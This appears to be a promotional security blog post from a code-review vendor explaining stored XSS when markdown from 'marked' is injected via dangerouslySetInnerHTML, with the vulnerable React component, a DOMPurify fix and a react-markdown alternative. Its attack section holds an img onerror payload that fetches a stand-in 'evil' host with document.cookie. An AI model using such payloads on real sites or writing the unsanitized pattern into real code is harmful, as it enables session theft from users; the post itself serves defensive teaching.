Mesrai
Back to blog
// essayTechnical Deep Dive

dangerouslySetInnerHTML Without DOMPurify: XSS in Markdown Renderer

Real PR catch: marked output piped to dangerouslySetInnerHTML — stored XSS. DOMPurify fix + react-markdown alternative.

Mesrai TeamAugust 9, 20268 min read

A markdown-rendering component using `marked` to convert markdown to HTML, then `dangerouslySetInnerHTML` to inject. No sanitization. Direct XSS — markdown allows HTML tags including `<script>`, `<img onerror>`.

The vulnerable diff

tsxcomponents/MarkdownView.tsx
// components/MarkdownView.tsx
import { marked } from "marked";
export function MarkdownView({ content }: { content: string }) {
  // BUG: marked allows raw HTML by default. Direct XSS.
  return <div dangerouslySetInnerHTML={{ __html: marked(content) }} />;
}

What is wrong

Markdown by spec allows inline HTML. `marked` (and most markdown libraries) pass HTML through unchanged by default. `dangerouslySetInnerHTML` then injects that HTML directly into the DOM. Any user who can submit content (comments, profile bio, document body) can include `<script>` tags or `onerror` handlers that execute in every other viewer's browser. This is CWE-79 (Stored XSS). The fix is to sanitize the HTML — DOMPurify is the standard tool; configure it with an allowlist of safe tags and attributes.

The attack

Attack payload:

textexploit
User submits as content:

  Hello! ![image](x" onerror="fetch('https://evil/'+document.cookie)//)

# marked renders to:
  <p>Hello! <img alt="image" src="x" onerror="..."></p>

# dangerouslySetInnerHTML injects it. img fails to load, onerror fires,
# cookie sent to attacker. Stored XSS — fires for every viewer.

Variants: `<details onclick>`, SVG with embedded JS, `javascript:` URLs in links — markdown allows all of them by default.

Mesrai's review comment

textreview-comment.txt
mesraipilot · Bot · reviewed 1 min ago

[mesrai] [code-review] [Security] [CWE-79] [critical]

Markdown rendered to HTML and injected via dangerouslySetInnerHTML
without sanitization. Stored XSS vector — any user-submitted content
can run JavaScript in every viewer's browser.

Fix: sanitize the rendered HTML with DOMPurify before injection:

  import DOMPurify from "isomorphic-dompurify";

  const html = marked(content);
  const clean = DOMPurify.sanitize(html, {
    ALLOWED_TAGS: ["p","a","strong","em","ul","ol","li","blockquote",
                   "pre","code","h1","h2","h3","h4","img"],
    ALLOWED_ATTR: ["href","src","alt","title","class"],
  });

  <div dangerouslySetInnerHTML={{ __html: clean }} />

Alternative: use a markdown library that builds a React tree directly
(react-markdown) — no innerHTML at all.

Reference: OWASP XSS Prevention Cheat Sheet, CWE-79

The fix

tsxcomponents/MarkdownView.tsx (fixed)
// components/MarkdownView.tsx — fixed
import { marked } from "marked";
import DOMPurify from "isomorphic-dompurify";

export function MarkdownView({ content }: { content: string }) {
  const clean = DOMPurify.sanitize(marked(content), {
    ALLOWED_TAGS: ["p","a","strong","em","ul","ol","li","blockquote","pre","code","h1","h2","h3","h4","img"],
    ALLOWED_ATTR: ["href","src","alt","title","class"],
  });
  return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}

// Even safer: use react-markdown which builds a React tree, no innerHTML
import ReactMarkdown from "react-markdown";
export function MarkdownView2({ content }: { content: string }) {
  return <ReactMarkdown>{content}</ReactMarkdown>;
}

DOMPurify with an explicit allowlist of tags and attributes — anything else gets stripped. Safer alternative: `react-markdown` builds a React tree directly without going through HTML, so the XSS vector does not exist.

Why human review missed it

Markdown-XSS is one of the most common stored-XSS classes in 2024-2026 reports. The pattern looks safe — markdown is a 'simple' format, the renderer is a vetted library, the developer trusts it. The default-allow-HTML behavior is invisible without reading the docs carefully. Mesrai catches every `dangerouslySetInnerHTML` with content piped through `marked`, `markdown-it`, or similar without an intervening sanitizer.

Related rules + further reading

Mesrai rule pack: security/xss-markdown-sanitize — flags dangerouslySetInnerHTML with markdown-rendered content without DOMPurify.

OWASP: XSS Prevention Cheat Sheet.

CWE-79 — Improper Neutralization of Input During Web Page Generation.

Takeaway

Markdown allows HTML. Sanitize before innerHTML. Or use react-markdown and skip innerHTML entirely. Mesrai catches every gap.

// try

See it on your next PR.

Free for individuals. Install in two minutes. Mesrai reviews every commit.